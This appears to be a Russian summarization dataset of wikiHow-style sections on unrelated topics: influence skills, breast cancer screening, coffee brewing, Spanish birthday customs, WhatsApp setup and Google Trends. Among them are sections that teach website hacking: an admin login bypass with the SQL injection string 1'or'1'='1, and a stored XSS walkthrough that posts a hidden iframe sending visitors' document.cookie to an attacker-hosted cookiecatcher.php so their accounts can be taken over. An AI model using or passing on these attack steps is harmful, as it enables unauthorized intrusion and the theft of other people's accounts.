summary: Устанавливайте ориентиры. Относитесь к людям с профессиональной вежливостью. Не держите людей в неведении. Четко выражайте свои мысли. Предугадывайте потребности и требования. Активно взаимодействуйте с людьми. Учитесь работать с людьми. Заводите необходимые знакомства. Не бойтесь гневаться. Не бойтесь нажить врагов.

document: Не ждите, пока другие примут решение, принимайте решения сами. Отбросьте сомнения, начните четко выражать свои желания и требования, контролируя каждое взаимодействие. Не спрашивайте разрешений, делитесь своими планами без чьего-либо позволения. Даже если результат не зависит от того, кто сделает первый шаг, такие активные действия позволят выразить притязания на влиятельную роль в диалоге или ситуации. Проявляйте уважение, чтобы получать в ответ взаимную учтивость. Всегда демонстрируйте, что вы понимаете — чужое время не уступит по важности вашему личному времени. Придерживайтесь золотого правила: относитесь к людям так, как хотите, чтобы они относились к вам. Наверняка вам не понравится, если человек опоздает на встречу и даже не предупредит вас об этом. Всегда неприятно, когда в ответ на оказанную услугу человек даже не удосужится сказать “спасибо”. Если подобные поступки других людей подрывает ваше доверие к ним, то аналогичное поведение с вашей стороны вызовет соответствующую реакцию. Компетентность в общении — важный атрибут влиятельного человека. Люди не должны строить догадок или волноваться о будущем. Сообщайте людям все подробности, которые вы хотели бы знать на их месте. Например, если вы собираете информацию для человека и пообещали предоставить свой ответ к обеду вторника, то свяжитесь с человеком в обед вторника или немного раньше. Даже если ответ еще не готов, напишите несколько строк и покажите, что вы не забыли о вашей договоренности. Правильное общение не оставляет места для недопонимания или ошибок. Ваши пояснения должны быть максимально понятными и не вызывать замешательства, а все важные моменты следует рассмотреть заранее.  Обстоятельное общение позволяет предотвратить последующие проблемы. Все должны знать ситуацию в полном объеме. Если что-то пойдет не так, ранее выбранная стратегия развернутого общения не позволит остальным перекладывать вину на других, так как никто не сможет заявить “Я не знал об этом”. В деловой среде информацию следует всегда сообщать в письменном виде, чтобы позднее вам было проще подтвердить свои слова документально. Старайтесь выполнять задачи и оказывать услуги до того, как вас об этом попросят. Если научиться предвидеть будущие потребности заранее, так вы покажете свои способности и высокую квалификацию.  Несомненно, в некоторых случаях нельзя действовать без разрешения и указаний. Например, на новой работе потребуется время, чтобы вникнуть во все аспекты и принимать решения. Главное — не вынуждайте людей повторять свою просьбу или требование. Как бы успешно вы ни справились с задачей, обратившийся к вам человек наверняка будет разочарован, если придется напоминать о задании несколько раз. Напускная занятость и сторонние дела вовсе не придают такой влиятельный вид, как вам кажется, поэтому не отвлекайтесь по сторонам во время беседы. Всегда уделяйте собеседнику полное и безраздельное внимание.  Например, не отвечайте на сообщения, звонки и письма во время разговора с другим человеком. Технологии позволяют поддерживать постоянную связь с другими и в этом есть свои плюсы, но не используйте технологии в ущерб живому общению. В разговор важно вовлекаться как психически, так и эмоционально, а это невозможно сделать без внимания и полноценного взаимодействия. Если человека страшит сама мысль работать с вами, то наверняка он не пожелает работать на вас. Начните принимать чужие идеи и учиться у других. Если возник конфликт, попытайтесь найти справедливое решение, а не нагнетать ситуацию. Не цепляйтесь за чужие ошибки, но помогайте найти решение. Также благосклонно принимайте критику, если человек указывает на ваши недостатки. Стремитесь исправиться и стать лучше. Несомненно, важно быть на хорошем счету у всех, с кем вам приходится иметь дело, но также уделяйте особое внимание отношениям с людьми, облеченными властью и влиянием. Стремитесь заводить знакомства с такими людьми. Благодаря необходимым связям вам будет проще следовать по выбранному пути. Конфликты неизбежны, а попытки избежать ссоры любой ценой не имеют смысла. Старайтесь решать вопросы спокойно и благоразумно, но не бойтесь гневаться, если это уместно. Для влиятельного человека гнев всегда лучше сожаления или печали. Всегда есть место прощению и согласию. Тем не менее люди в большинстве своем не станут искать прощения, если вы постоянно приносите извинения и сожалеете о своих поступках. Гнев не исключает возможности проявить милость, но никогда не позволяйте помыкать вами. Всегда старайтесь ладить с каждым человеком, но в то же время всем людям не угодить. Не бойтесь плыть против течения и выражать противоположное мнение. Люди, которые всегда подстраиваются под остальных, никогда не займут влиятельную должность и даже не смогут постоять за себя. Как правило, ваши искренность и прямота будут раздражать некоторых людей, но не позволяйте этому сбивать вас с правильного пути. Будьте тактичны, непредвзяты и стремитесь договориться, если того требует ситуация, но в критический момент не бойтесь настоять на своем, чтобы все сделать правильно.

english_section_name: Utilizing Powerful Social Skills

summary: Найдите подходящую роль. Размышляйте о прошлых источниках силы и влияния. Используйте властные позы. Совершайте смелые поступки. Придерживайтесь собственных взглядов. Нарушайте некоторые правила. Принимайте ответственность. Проявляйте заботу о собственном благополучии.

document: Выберите для себя удобную и понятную роль, чтобы естественным образом стать влиятельным человеком. Постарайтесь отыскать комфортное занятие, проявите к нему интерес и начните свой путь к цели.  В частности, старайтесь примерять на себя руководящие роли, в которых вы почувствуете себя как рыба в воде, даже если они не имеют прямого отношения к той сфере деятельности, в которой вы хотите преуспеть. Например, станьте лидером небольшой группы прихожан, чтобы научиться быть влиятельным человеком в офисе. Стремитесь занимать влиятельное положение, чтобы развивать необходимые личные качества. Позднее вы найдете им применение в соответствующих сферах жизни. Наверняка в прошлом вы пережили немало моментов проявления своей силы и могущества, даже если они воспринимались незначительными по сравнению с желаемым уровнем влиятельности. Если ваша решительность тает на глазах, вам следует вспомнить такие моменты из прошлого и восстановить в памяти ощущения собственной силы, которые они повлекли за собой. Такие воспоминания могут касаться любого аспекта жизни. Например, выберите значимый успех в учебе вроде диплома с отличием или личное достижение вроде успешной попытки бросить курить. В любом случае важно сосредоточиться на ощущении собственной силы, а не на ситуации. Это не всегда верно, но влиятельные люди склонны использовать пространный язык тела, который позволяет занимать больше окружающего пространства. Подобный язык тела выражает уверенность, благодаря чему окружающие могут воспринимать вас как более влиятельного человека.  Пространный язык тела может включать скрещенные руки или скрещенные ноги с выдающимся вперед коленом, вытянутые ноги, простирающиеся далеко за пределы кресла, опирающиеся на бедра руки. В противовес, при скованных позах человек прячет ноги под стул, сутулится или опускает руки вдоль тела. Вам необходимо демонстрировать бесстрашие и непоколебимую уверенность в собственных силах. Если ждать, пока вы станете сильным, чтобы доказать вескость своих притязаний, то ожидание может стать бесконечным. Не бойтесь меняться или рисковать. Если вам страшно, то никому не показывайте свой страх. Влияние — это циклический процесс. Если окружающие посчитают вас сильным человеком, то их отношение будет соответствующим, даже если ранее вы не обладали таким влиянием. Поставьте цель и начните воплощать ее в жизнь, даже если окружающие не согласны с вами. Аналогичным образом не следует выбирать определенный образ действий лишь потому, что он широко распространен. Двигайтесь по собственному пути и не объясняйте своих действий. Такое поведение может иметь вид попыток получить одобрение, вследствие чего ваше положение станет менее влиятельным по сравнению с теми, чье одобрение вам необходимо. Не бойтесь мыслить нестандартно, нарушать некоторые правила или социальные условности. Новаторство требует решительности. Более того, если вы будете тактично пренебрегать некоторыми условностями, это также продемонстрирует окружающим, что вы достаточно сильны, чтобы позволить себе такой шаг. Главное — четко понять, какие правила можно нарушить, а какие должны оставаться незыблемы. Не существует единого способа установить истину, поскольку обстоятельства всегда разнятся, но обычно допускается нарушать только те правила, которые необходимо нарушить. Замечайте такие аспекты, которые можно улучшить, если существующие правила стали размытыми. Ищите способ вырваться за пределы ненужных ограничений. В напряженной ситуации не нужно искать крайних и зацикливаться на совершенных ошибках. Наоборот, возьмите на себя ответственность и устраните ошибки прямо сейчас, чтобы извлечь максимум из плохой ситуации. Неудачи — это неотъемлемая часть жизни любого человека, а сильные люди не боятся признавать этот факт. Научитесь принимать неудачи и активно исправлять ошибки. Не нужно искать того, кто виноват больше остальных. Покажите свою силу и заявите: "Я разберусь с этой проблемой". Это касается физического и психического состояния. Нездоровому или уставшему человеку трудно выглядеть сильным.  Физическое здоровье — это очевидный вопрос. Правильно питайтесь и занимайтесь физкультурой, чтобы оставаться в форме, соблюдайте полноценный режим сна. Забота о психическом и эмоциональном здоровье имеет больше нюансов, но в целом требуется находить возможности расслабиться, уделять время важным людям и занятиям. Не позволяйте погоне за силой и влиянием полностью поглотить вас.

english_section_name: Building a Powerful Person


summary: Осознайте важность факторов риска. Будьте в курсе генетической предрасположенности. Поймите влияние истории болезни. Влияние образа жизни на риск развития рака.

document: Ранее обнаружение рака груди жизненно важно. Если вы подвергаетесь факторам повышенного риска, обязательно проводите регулярные СОМЖ. Сделайте маммографию, если чувствуете какие-либо комки, подвержены повышенному риску или ваш возраст превысил 40 лет. Женщины склонны к развитию рака груди больше, чем мужчины. Кроме того, если у кого-то из ваших близких родственников (например, мама, сестра) был рак груди, вероятность развития у вас рака молочной железы возрастает. Существуют также унаследованные генные мутации, которые предрасполагают женщину к повышенному  риску рака груди. Эти генные мутации – это BRCA1 и BRCA2. От пяти до десяти процентов случаев развития рака молочной железы вызваны этими генными мутациями.  Женщины европеоидной расы больше всего подвержены риску развития рака груди.  Некоторые этнические группы более склонны к мутированным BRCA-генам. К ним относятся люди норвежского, исландского, голландского и еврейского происхождения. Существует множество особенностей вашей истории болезни, которые могут повлиять на вашу подверженность риску рака молочной железы. Женщины, у которых уже была раковая опухоль в одной груди, более склонны к повторному развитию рака. Люди, которые в детском возрасте подвергались облучению в области груди, также обладают повышенной вероятностью развития опухоли. Кроме того, и другие медицинские факты, например, начало месячных в возрасте 11 лет или раньше, может повысить этот риск. Начало менопаузы позже нормы также может быть поводом для опасений. Если женщина проходит гормональную терапию после начала менопаузы или никогда не была беременна, это также увеличивает вероятность развития у нее рака груди. Страдающие ожирением люди более подвержены риску развития рака груди. Женщины, которые выпивают три порции алкоголя в неделю, также на 15% повышают возможность развития опухоли. Курильщики, а в особенности женщины, которые начали курить до рождения своего первого ребенка, также более подвержены риску злокачественного новообразования в груди.

english_section_name: Understanding Risk Factors

summary: Регулярно посещайте гинеколога. Регулярно делайте маммографию. Будьте бдительны и незамедлительно обращайтесь за помощью. Сделайте профилактику групповым занятием.

document: Во время ежегодного гинекологического обследования врач осмотрит вашу грудь на наличие комков или аномалий. Если он обнаружит что-то необычное, то может порекомендовать вам сделать маммографию.  Если у вас нет медицинской страховки или средств для посещения врача, вероятно, в вашем регионе можно найти ресурсы, которые помогут вам получить профилактическое лечение. Ассоциация планирования семьи предлагает консультационные услуги и может направить вас в маммологу.  Если вы не знаете, куда обратиться за помощью, обратитесь в местный отдел здравоохранения. Они могут направить вас к соответствующему специалисту, в зависимости от вашей ситуации. Может быть, вы получите возможность сделать маммографию бесплатно или недорого. Когда возраст женщины превышает цифру 40, ей нужно делать маммографию раз в два года, пока ей не выполнится 74. Чем раньше обнаружить рак груди, тем легче его пережить. Возможно, вы слышали, что маммография болезненна, но боль мгновенная и не слишком сильная. Кроме того, она может спасти вам жизнь. Если вы подвержены повышенному риску, поговорите со своим врачом о том, как часто вам стоит делать маммографию. Если вы подвержены повышенному риску, но вам еще нет 40 лет, возможно, врач и в таком возрасте порекомендует вам сделать маммографию. Хорошо изучите свою грудь и уделяйте ей внимание – это лучшее, что вы можете сделать для выявления признаков рака груди. Если у вас есть какие-то сомнения по поводу того, что вы обнаружили при СОМЖ, немедленно обратитесь к врачу. Сохраняйте здоровье друзей и членов семьи, ежегодно устраивая вечеринку, кульминацией которой было бы прохождение маммографии всеми ее участниками. Таким образом вы сможете развеять все страхи по поводу этой процедуры и напоминать друг другу о необходимой проверке. Можно сказать так: “Я знаю, что многие женщины не делают маммографию, потому что эта процедура пугает и может быть немного болезненной, но мне хотелось бы найти способ сделать это веселым времяпровождением. Кроме того, это замечательный повод для девичника!”

english_section_name: Preventing Breast Cancer

summary: Составьте график самостоятельных обследований молочной железы. Проведите визуальный осмотр. Поднимите руки и повторите визуальный осмотр. Прощупайте грудь. Знайте, что результаты исследований противоречивы.

document: Отметьте в календаре, когда вы будете проводить СОМЖ. Старайтесь делать проверку каждый месяц предпочтительно через 5-7 дней после окончания месячных. Регулярное проведение СОМЖ поможет вам определить “нормальное” состояние вашей груди. Повесьте напоминание о СОМЖ в ванной или спальне, чтобы вы не забыли о нем. Кроме того, можно также завести дневник для записей своих наблюдений. Проводите СОМЖ в комнате с хорошим освещением. Встаньте, положив руки на бедра, и осмотрите себя в зеркале. Оцените размер, цвет и форму груди, нет ли никаких отклонений от нормы. Если у вас появились какие-либо из следующих симптомов, сообщите об этом своему врачу:  Заметное набухание груди, хотя месячных у вас на данный момент нет Неровность, морщинистость, опухлость кожи Втянутые соски Смещение сосков Покраснение, сыпь или чувствительность. Проверьте, нет ли выделений из сосков. Если выделения есть, определите их цвет (желтые, прозрачные) и консистенцию (кровянистая, молочная). Обратите особое внимание на выделения, которые идут, когда вы не сжимаете сосок. Также сообщите врачу, если у вас прозрачные или кровянистые выделения или выделения идут только из одной груди. Лягте на спину. Сведите вместе указательный, средний и безымянный пальцы правой руки. Прощупывайте левую грудь подушечками трех средних пальцев небольшими круговыми движениями. Их окружность должна составлять 2 сантиметра. Прощупывайте грудь, двигаясь от ключицы к животу. А затем, начав с подмышечной области, двигайтесь от стороны к середине. Повторите процесс с противоположной рукой и противоположной грудью. Чтобы убедиться, что вы прощупали всю область, двигайтесь вертикальными линиями. Затем встаньте или сядьте и повторите эти шаги. Пройдитесь по всей поверхности грудей. Многие женщины предпочитают выполнять этот последний шаг в душе.  Проверьте наличие комков или других изменений. Сообщите своему врачу о любых обнаруженных комков. Грудь нужно прощупывать легким, средним и сильным нажатием при каждом круге. Другими словами, прощупайте небольшой круг движениями с легким нажатием, а затем повторно пройдитесь по той же области со средним и сильным нажатием. Легкое надавливание помогает обнаружить изменения в тканях у поверхности кожи. Среднее надавливание позволяет прощупать более глубокие ткани, а самое сильное надавливание помогает достать самые глубокие ткани рядом с ребрами. Некоторые исследования показывают, что  самостоятельное обследование не повышает вероятность выявление рака. Поговорите со своим врачом о СОМЖ, она может порекомендовать вам просто ознакомиться со своей грудью, чтобы вы смогли заметить изменения, если они возникнут.

english_section_name: Performing a Breast Self-Exam


summary: Покипятите кофе в течение 2 минут.

document: Включайте таймер после того, как кофе полностью закипит. Дайте кофе покипеть полных две минуты (не накрывая его при этом крышкой), после чего снимите кастрюлю с огня. Как только вы выключите огонь, кофейная гуща должна осесть на дно кастрюли.

english_section_name: Using a Saucepan

summary: Нагрейте воду. Конец.

document: Если под рукой не оказалось кофемашины, воду можно вскипятить в чайнике, кастрюле, электрокастрюле или микроволновке .  Чтобы вскипятить воду в чайнике или кастрюле, наполните емкость водой (на столько, чтобы хватило на все порции кофе) и поставьте на плиту. Включите средний/сильный огонь и уберите чайник или кастрюлю с плиты сразу же, как только вода закипит. Если вы решили подогреть воду в микроволновке, налейте ее в безопасную для СВЧ-печей миску и вставьте в воду деревянную палочку для еды или другой неметаллический предмет.  Нагревайте интервалами по 1-2 минуты, пока вода не начнет пузыриться. Нагрейте воду с помощью электрокастрюли, наполнив ее водой и включив устройство в розетку. Установите режим средней или высокой мощности и дождитесь, пока вода не закипит.

english_section_name: Using Instant Coffee

summary: Оставьте кофе завариваться.

document: Оставьте кофе завариваться на 3 минуты. Хорошенько перемешайте и оставьте завариваться еще на 3 минуты. Длительность заварки может изменяться в зависимости от сорта/типа кофе и крепости, которую вы хотите получить. Указанное время – средняя длительность заварки стандартной чашки обычного кофе.

english_section_name: Using a Strainer

summary: Вскипятите воду.

document: В зависимости от того, что у вас есть под рукой, вы можете использовать чайник, кастрюлю, микроволновку или электрокастрюлю.  Чайник – идеальный вариант, но и кастрюля используется аналогично. Наполните чайник или кастрюлю необходимым (для желаемого объема кофе) количеством воды. Поставьте емкость на плиту и грейте на среднем или сильном огне до тех пор, пока вода не начнет кипеть. Разогрейте воду в СВЧ-печи, налив жидкость в емкость, безопасную для использования в микроволновке. Положите в воду деревянную палочку для еды или другой неметаллический предмет, чтобы не дать воде нагреться слишком сильно; нагревайте ее короткими интервалами не более 2 минут каждый, пока вода не станет достаточно горячей. Можно нагреть воду в электрокастрюле, налив в нее достаточно воды, включив устройство и выставив его на среднюю или высокую мощность.

english_section_name: Using a French Press

summary: Нагрейте воду. Заваривайте.

document: Используйте обычный чайник, кастрюлю, микроволновку или электрокастрюлю.  Если вы греете воду в чайнике или кастрюле, наполните емкость достаточным количеством воды и поставьте греться до закипания на плиту на средний/сильный огонь. Чтобы подогреть воду в СВЧ-печи, налейте ее в безопасную для использования в микроволновке чашку и вставьте в нее деревянную палочку для еды или другой неметаллический предмет. Подогревайте интервалами по 1-2 минуты. Наполните электрокастрюлю необходимым количеством воды и включите ее. Установите среднюю или высокую мощность и оставьте закипать. Оставьте кофе завариваться на 3-4 минуты.  Если вы любите кофе покрепче, можете продлить заварку до 4-5 минут. Чтобы получить кофе слабее, заваривайте его 2-3 минуты. В этот раз вам не придется ничего размешивать.

english_section_name: Using a Filter


summary: Скажите: Используйте слово «felicidades», чтобы выразить общие поздравления. Скажите имениннику, что вы надеетесь, что у него будет еще много дней рождения. Спойте вариант песни Happy Birthday на испанском языке.

document: «¡Feliz cumpleaños!» Эта фраза означает «с днем рождения» и используется в качестве поздравления. Ее можно сказать любому человеку и в любой ситуации. Произносится: «фе-ЛИЗ КУМ-плэ-ань-ос».  При желании можно добавить имя человека или его отношение к вам. Например, если бы вы поздравляли маму с днем рождения, вы могли бы сказать: «¡Feliz cumpleaños, mi madre!» Если вы хотите поздравить друга с днем рождения в более неформальной манере, можно сказать: «Feliz cumple» (фе-ЛИЗ КУМ-пле). «Felicidades» (фе-ли-си-ДА-дэс) означает «поздравляю». Аналогично мы говорим и в русском языке. Это слово особенно уместно, если вы уже один раз поздравили человека.  Например, по прибытии на вечеринку в честь дня рождения друга можно сказать: «Feliz cumpleaños», а на прощание — «felicidades». Еще один вариант: «Felicidades en tu día» — «Поздравляю с твоим днем». В этот праздник принято желать долгих лет жизни или выражать надежду, что человек отметит еще много дней рождения. Если вы хотите выразить это по-испански, скажите: «¡Que cumplas muchos más!» Буквальный перевод этой фразы звучит так: «Чтобы ты отпраздновал еще много раз». Произносится: «ке КУМ-пла МУ-чос мас». Основная испанская песня в честь дня рождения поется на известный всем мотив. Однако перевод не всегда дословный.  Текст основной поздравительной песни в Латинской Америке звучит следующим образом: «¡Feliz cumpleaños a ti! ¡Feliz cumpleaños a ti! Feliz cumpleaños querido/a (имя), feliz cumpleaños a ti. Ya queremos pastel, Ya queremos pastel, aunque sea un pedacito, pero queremos pastel» С другой стороны, в Испании поется: «Cumpleaños feliz, cumpleaños feliz, te deseamos todos, cumpleaños feliz».

english_section_name: Expressing Basic Birthday Wishes

summary: Будьте готовы праздновать вместе со всей семьей. Узнайте, в чем заключается важность «quinceañera» для 15-летней девочки. В Мексике на праздновании дня рождения вас угостят тортом «Tres leches». Разбейте пиньяту (piñata) с завязанными глазами. Посмотрите, как именинника окунают лицом в торт. При желании подарите символический подарок.

document: В испаноязычной культуре день рождения считается семейным праздником. Несмотря на то что друзей тоже могут пригласить на вечеринку, по традиции мероприятие устраивает семья именинника. Как правило, присутствуют все родственники, даже дальние. Если вас пригласят в качестве друга на одно из таких мероприятий, ожидайте теплый и радушный прием. Особенно в Испании вам придется обниматься со множеством незнакомых вам людей. В латиноамериканских странах, особенно в Мексике, 15-летие девочки означает вступление в совершеннолетие. Событие традиционно начинается с церковной службы, и туда следует одеваться как на торжественный прием.  Частью церковной службы является «misa de acción de gracias» — обряд, при котором девочка выражает благодарность уходящему детству. По традиции именинница (festejada) получает подарки от семьи, в том числе диадемы и украшения. Как правило, частью мероприятия является богатый банкет, а после следуют танцы, которые могут длиться до самого рассвета. «Tres leches» — это гигантский разноцветный торт, который служит центральным элементом для мексиканских вечеринок по случаю дня рождения. Эти торты часто украшают в тематике, отражающей интересы именинника. Например, если человек, празднующий свой день рождения, является большим любителем футбола (fútbol), то торт «Tres leches» могут покрыть глазурью, чтобы придать ему вид футбольного поля, и разместить на нем крошечных игроков и болельщиков на трибунах, аплодирующих своим командам. Это одна из самых известных испанских традиций. Пиньята представляет собой раскрашенные фигурки из папье-маше разных форм и размеров, наполненные маленькими игрушками и сладостями. Участники вечеринки по очереди пытаются бить пиньяту палкой, пока она не лопнет и повсюду не разлетятся лакомства.  Пиньята в форме осла, которая обычно продается в США и Европе, редко встречается в латиноамериканских странах. Пиньята может быть оформлена в той же тематике, что и торт «Tres leches». Пока участники вечеринки пытаются разбить пиньяту, остальные поют традиционную песню, которая начинается со слов «Dale, dale, dale». Песня побуждает человека хорошо прицелиться и ударить по пиньяте так, чтобы она лопнула ради всеобщего удовольствия, проливаясь дождем сладостей, которых они жаждут. Этот обычай особенно популярен в Мексике. Руки именинника связывают за спиной, а лицо погружают в праздничный торт, чтобы он мог откусить первый кусочек. В это время все вокруг него скандируют: «¡Mordida!».  Слово «mordida» означает «укус». В данном контексте гости подбадривают именинника откусить первый кусочек своего праздничного торта. Как правило, подарки на день рождения не особо продуманные или дорогие, особенно в Испании. Дети всегда получают небольшие подарки — обычно это книги, игрушки и конфеты. Взрослые могут вообще не получить никаких подарков. Если вам неудобно идти на день рождения без подарка, можно выбрать что-нибудь незатейливое, например ежедневник, кружку или хорошую перьевую ручку.

english_section_name: Celebrating Birthdays in Spain or Latin America


summary: Найдите уязвимый сайт. Вход в качестве администратора. Не теряйте терпение. Получите доступ на веб-сайт.

document: Вам нужно найти уязвимый сайт с легкодоступным входом в качестве администратора.   Попробуйте поискать в Google по запросу admin login.asp. В поле "логин" введите admin, а в качестве пароля используйте одну из нескольких комбинаций. Может быть много разных вариантов, но распространенным параметром является 1’or’1’=’1. Вам потребуется некоторое время для проб и ошибок. В конце концов, у вас должно получиться найти комбинацию, которая позволит зайти на веб-сайт под логином администратора, конечно, если сайт уязвим к атакам.

english_section_name: Executing Injection Attacks

summary: Выучите один или несколько языков программирования. Изучите язык HTML на базовом уровне. Проконсультируйтесь с «белыми» хакерами. Исследуйте взлом. Будьте в курсе.

document: Если вы действительно хотите научится взламывать веб-сайты, вам нужно понять принцип работы компьютера и других технологий.  Изучите такие языки программирования, как Python или SQL, они позволят вам лучше владеть компьютером и найти слабые места систем. Чтобы взламывать веб-сайты, вам нужно иметь четкое представление о языках html и javascript.  Это требует немало времени, но в интернете достаточно бесплатных способов для изучения, поэтому главное - желание, а возможности всегда найдутся. "Белые" хакеры - это те, кто использует свои знания на благо добра, выявляя уязвимости систем безопасности и делая этим Интернет лучшим местом для всех.  Если вы хотите научиться взлому, чтобы использовать его на благо добра или защитить ваш собственный веб-сайт, возможно, вам понадобится консультация "белых" хакеров. Если вы хотите стать хакером или защитить себя, вам предстоит во многом разобраться.  На данный момент существует множество дыр в безопасности веб-сайтов и их список пополняется с каждым днем, поэтому вы постоянно должны обучаться. Поскольку список возможных путей взлома постоянно меняется, вы должны идти в ногу со временем. Если сейчас вы защищены от некоторых типов атак, это не значит, что вы будете в безопасности завтра!

english_section_name: Setting Up for Success

summary: Найдите уязвимый сайт, на котором можно размещать контент. Перейдите к созданию поста. Создайте и загрузите свой php-скрипт, который будет получать данные. Опубликуйте JavaScript-код. Использование полученных куки.

document: Хороший пример - доска объявлений.  Помните, если сайт хорошо защищен, это не сработает. Вам нужно в тело поста вставить специальный код, собирающий данные тех, кто на него кликнет. Вы захотите проверить, отсеивает ли система код.  Опубликуйте <script...>alert(“test”)</...script> (не забудьте убрать “…”). Если при нажатии на свой пост появляется окно с предупреждением, тогда этот сайт уязвим для атаки. Цель этой атаки - собрать пользовательские данные типа "cookie", хранящие информацию об учетных записях пользователей. Ее можно использовать для входа в их аккаунты на уязвимых веб-сайтах.  Вам потребуется php-скрипт, который будет воровать куки вашей цели и перенаправлять их на ваш сайт.  Загрузите php-скрипт на веб-сайт, к которому у вас есть доступ и который поддерживает php. Пример кода php-скрипта можно найти в разделе "Примеры". Введите в тело поста JavaScript-код, который будет воровать куки и отправлять их на ваш сайт.  Чтобы сделать пост менее подозрительным и уберечь его от удаления, после кода впишите какой-нибудь текст. Пример кода будет выглядеть следующим образом: <...iframe... frameborder= 0 height=0 width=0 src=javascript...:void(document.location=”ВАШURL/cookiecatcher.php?c=”+document.cookie)><.../iframe> (удалите ...). После этого можете использовать сохраненные у вас на веб-сайте данные куки для любых целей.

english_section_name: Using Cross-Site Scripting


summary: Зарегистрируйте аккаунт. Введите свое имя.

document: Откройте приложение WhatsApp. На числовой клавиатуре телефона введите свой номер телефона, а затем нажмите «Готово» («Done»).  Если вы находитесь не в США, то выберите свою страну. Для подтверждения регистрации WhatsApp пришлет SMS-сообщение с кодом верификации. Чтобы продолжить, вам будет необходимо ввести его. Если вам не пришло SMS или ваш телефон не поддерживает SMS, вы можете запросить автоматический телефонный звонок. На экране Профиля введите свое имя, которым вы хотите пользоваться в WhatsApp. Вы можете использовать как реальное имя, так и псевдоним.

english_section_name: Registering an Account and Creating a Profile

summary: Сделайте свою фотографию. Нажмите на соответствующую кнопку, чтобы сделать фотографию. Сделайте свой снимок или снимок чего-то еще, что вам нравится, что вы хотели бы использовать в качестве изображения профиля. Переместите или масштабируйте изображение. Нажмите «Готово» («Done»). Чтобы изменить изображение, просто коснитесь его, а затем нажмите кнопку «Редактировать» («Edit»).

document: Кнопка для того, чтобы сделать фотографию, выглядит по-разному на разных операционных системах. Нажмите на кнопку на изображении.  Подробную информацию о том, как использовать имеющуюся фотографию, можно найти здесь. Чтобы добавить фотографию профиля, вам понадобится работающее подключение к интернету. На iPhone коснитесь «OK», чтобы дать WhatsApp доступ к камере.  Если у вас телефон с сенсорным экраном, передвигайте внутри кружочка свое изображение. Приближайте и удаляйте изображение, меняя его размер. Сделанная вами фотография появится в круге в вашем профиле. Вы можете сделать другую фотографию или выбрать уже существующую из галереи своего телефона.

english_section_name: Taking a Profile Photo

summary: Используйте существующее изображение в качестве изображения профиля. Нажмите на существующую фотографию или на кнопку загрузки. Выберите фотографию профиля. Переместите или отмасштабируйте изображение. Коснитесь кнопки выбора или кнопки «Готово», чтобы выбрать изображение.

document: Кнопка для добавления фотографии выглядит по-разному на различных операционных системах. Коснитесь соответствующей кнопки на изображении. Чтобы добавить фотографию профиля, вам понадобится работающее подключение к интернету. На iPhone необходимо нажать «OK», чтобы предоставить WhatsApp доступ к вашим фотографиям.  Если у вас телефон с сенсорным экраном, передвигайте свое изображение внутри кружочка. Приближайте и удаляйте изображение, меняя его размер.

english_section_name: Using an Existing Photo for your Profle

summary: Коснитесь сообщения о статусе. Нажмите на уже существующий статус, чтобы изменить его. Нажмите на текущий статус, чтобы изменить его.

document: Сообщение статуса не должно быть длиннее 139 символов.

english_section_name: Changing Your Status


summary: Перейдите по адресу: Откройте меню ☰ в верхнем левом углу страницы и выберите Анализ. Откройте меню ☰ в левом верхнем углу страницы и выберите Популярные запросы. Нажмите на Поисковые тренды сейчас на синей панели вверху страницы.

document: https://trends.google.com/trends/?geo=RU. Google Trends является одним из самых надежных сервисов для получения актуальной информации о том, чем интересуется мировое сообщество. Для определения ключевых запросов можно использовать несколько инструментов. На этой странице представлена информация о популярности ключевых слов за определенный период времени. Прокрутите вниз, чтобы найти два столбца ключевых слов: «Темы поиска» и «Поисковые запросы». Конкретные популярные ключевые слова отображены в столбце «Поисковые запросы» в правой части страницы.  Чтобы найти ключевые слова, связанные с другим ключевым словом или темой, введите нужное слово в поле «Добавить поисковый запрос» вверху и нажмите ↵ Enter или ⏎ Return. Информация о популярности этого ключевого слова, а также связанные ключевые слова отобразятся в столбце «Похожие запросы». Чтобы отобразить результаты только для определенной точки мира, раскройте меню с пометкой «По всему миру» и выберите регион. Чтобы ограничить показ ключевых слов конкретным периодом времени, раскройте меню «За 12 месяцев» и выберите другой период. Чтобы увидеть ключевые слова, соответствующие определенной теме, раскройте меню «Все категории» и выберите тему. Чтобы отобразить ключевые слова из определенных сервисов компании Google, таких как YouTube и Google Покупки, раскройте меню «Веб-поиск» и выберите другой раздел. На этой странице представлены главные поисковые тренды за сутки на основе данных, собранных Google. Количество поисковых запросов по ключевому слову отображается в правой части строки.  Нажмите на стрелку вниз рядом с количеством поисковых запросов, чтобы найти похожие ключевые слова в разделе «Похожие запросы». Прокрутите вниз, чтобы увидеть популярные тренды за вчерашний день. Прокрутите дальше, чтобы увидеть данные за остальные дни. Чтобы увидеть результаты по странам, раскройте меню стран на синей панели (где указана ваша текущая страна) и выберите другую страну. Здесь отображаются почасовые обновления популярности различных ключевых слов за последние 24 часа.  Нажмите на стрелку вниз в дальнем правом углу строки, чтобы увидеть график популярности ключевого слова. Раскройте список «Все категории» и выберите, запросы какой категории отобразить. Чтобы увидеть результаты по странам, раскройте меню стран на синей панели (где указана ваша текущая страна) и выберите другую страну.

english_section_name: Using Google Trends

summary: Узнайте у веб-администратора, какую программу для аналитики использует ваш сайт. Найдите в аналитической программе раздел, посвященный ключевым словам. Следите за этим списком популярных ключевых слов.

document: Если вы поручили управление сайтом другому человеку, он сможет подсказать вам, где найти аналитические данные вашего сайта. С помощью них можно узнать, какие термины используют пользователи для поиска вашего сайта.  Если вы используете WordPress.com, в программе Jetpack есть инструмент автоматической аналитики, а также простое средство визуализации данных, которое можно найти на главной панели сайта. Если вы еще не пользуетесь программами для анализа трафика своего сайта, начните это делать прямо сейчас. Зарегистрируйте бесплатный аккаунт в Google Аналитике и разместите соответствующий код на страницах сайта для отслеживания трафика в течение суток. Большинство программ предоставят вам список наиболее популярных запросов, которые использовались для перехода на ваш сайт. Если ключевое слово приносит вам трафик, продолжайте использовать его в ходе SEO-оптимизации и РРС-рекламы. После внедрения ключевых фраз обратите внимание на то, как эти изменения повлияли на популярность вашего сайта.  Данные о популярных запросах в конкретном регионе меняются каждую неделю. После запуска РРС-рекламы и внедрения оптимизированных низкочастотных фраз в наполнение сайта популярные запросы могут измениться. Если популярные поисковые фразы носят обобщенный характер, можно предположить, что использование такого термина или фразы будет более эффективно для РРС-маркетинга, но конкуренция в этой области очень велика. В этом случае для повышения популярности следует отслеживать второстепенные ключевые запросы и создавать более качественный контент, чтобы повлиять на рейтинг вашего ресурса в поисковых системах.

english_section_name: Checking your Website Analytics Service

